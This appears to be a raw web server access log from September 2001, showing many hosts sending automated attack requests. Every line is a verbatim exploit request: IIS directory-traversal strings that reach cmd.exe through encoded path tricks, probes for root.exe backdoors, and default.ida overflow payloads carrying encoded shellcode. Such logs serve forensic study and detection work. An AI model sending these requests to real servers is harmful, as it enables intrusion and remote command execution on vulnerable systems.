  7986. 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7987. 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7988. 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7989. 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7990. 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7991. 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7992. 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7993. 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7994. 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7995. 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7996. 20010919 03:10:43: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7997. 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7998. 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7999. 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8000. 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8001. 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8002. 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8003. 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8004. 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8005. 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8006. 20010919 03:12:46: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8007. 20010919 03:12:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8008. 20010919 03:12:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8009. 20010919 03:12:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8010. 20010919 03:12:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8011. 20010919 03:12:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8012. 20010919 03:12:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8013. 20010919 03:15:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8014. 20010919 03:15:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8015. 20010919 03:15:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8016. 20010919 03:15:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8017. 20010919 03:15:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8018. 20010919 03:15:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8019. 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8020. 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8021. 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8022. 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8023. 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8024. 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8025. 20010919 03:15:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8026. 20010919 03:15:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8027. 20010919 03:15:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8028. 20010919 03:15:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8029. 20010919 03:16:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8030. 20010919 03:16:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8031. 20010919 03:16:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8032. 20010919 03:16:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8033. 20010919 03:16:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8034. 20010919 03:16:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8035. 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8036. 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8037. 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8038. 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8039. 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8040. 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8041. 20010919 03:16:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8042. 20010919 03:16:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8043. 20010919 03:16:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8044. 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8045. 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8046. 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8047. 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8048. 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8049. 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8050. 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8051. 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8052. 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8053. 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8054. 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8055. 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8056. 20010919 03:16:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8057. 20010919 03:16:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8058. 20010919 03:16:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8059. 20010919 03:16:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8060. 20010919 03:16:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8061. 20010919 03:25:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8062. 20010919 03:25:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8063. 20010919 03:25:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8064. 20010919 03:25:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8065. 20010919 03:25:17: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8066. 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8067. 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8068. 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8069. 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8070. 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8071. 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8072. 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8073. 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8074. 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8075. 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8076. 20010919 03:25:18: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  8077. 20010919 03:26:32: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  8078. 20010919 03:27:33:  [203.236.98.249] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8079. 20010919 03:30:01:  [203.236.98.249] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8080. 20010919 03:30:20:  [203.236.98.249] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8081. 20010919 03:30:39:  [203.236.98.249] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8082. 20010919 03:31:02:  [203.236.98.249] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8083. 20010919 03:31:21: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8084. 20010919 03:31:22: ops005.facil.umass.edu [128.119.184.35] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8085. 20010919 03:31:22: ops005.facil.umass.edu [128.119.184.35] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8086. 20010919 03:31:23:  [203.236.98.249] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8087. 20010919 03:31:44: ops005.facil.umass.edu [128.119.184.35] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8088. 20010919 03:31:44: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8089. 20010919 03:31:44: ops005.facil.umass.edu [128.119.184.35] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8090. 20010919 03:31:45: ops005.facil.umass.edu [128.119.184.35] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8091. 20010919 03:31:45:  [203.236.98.249] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8092. 20010919 03:32:03: ops005.facil.umass.edu [128.119.184.35] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8093. 20010919 03:32:03: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8094. 20010919 03:32:07:  [203.236.98.249] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8095. 20010919 03:32:26: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8096. 20010919 03:32:26: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8097. 20010919 03:32:26: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8098. 20010919 03:32:27:  [203.236.98.249] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8099. 20010919 03:32:45: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8100. 20010919 03:32:45: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8101. 20010919 03:32:46: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8102. 20010919 03:32:46:  [203.236.98.249] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8103. 20010919 03:33:04: ops005.facil.umass.edu [128.119.184.35] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8104. 20010919 03:33:04: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8105. 20010919 03:33:04: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8106. 20010919 03:33:04: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8107. 20010919 03:33:06:  [203.236.98.249] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8108. 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8109. 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8110. 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8111. 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8112. 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8113. 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8114. 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8115. 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8116. 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8117. 20010919 03:33:24: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8118. 20010919 03:33:24:  [203.236.98.249] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8119. 20010919 03:33:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8120. 20010919 03:33:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8121. 20010919 03:33:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8122. 20010919 03:33:43:  [203.236.98.249] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8123. 20010919 03:34:02:  [203.236.98.249] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8124. 20010919 03:34:21:  [203.236.98.249] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8125. 20010919 03:34:43:  [203.236.98.249] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8126. 20010919 03:35:02: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  8127. 20010919 03:35:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8128. 20010919 03:36:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8129. 20010919 03:36:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8130. 20010919 03:36:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8131. 20010919 03:36:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8132. 20010919 03:36:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8133. 20010919 03:36:59: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8134. 20010919 03:37:00: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8135. 20010919 03:37:00: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8136. 20010919 03:37:00: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8137. 20010919 03:37:00: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8138. 20010919 03:37:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8139. 20010919 03:37:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8140. 20010919 03:37:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8141. 20010919 03:37:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8142. 20010919 03:37:01: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8143. 20010919 03:37:01: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  8144. 20010919 03:38:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
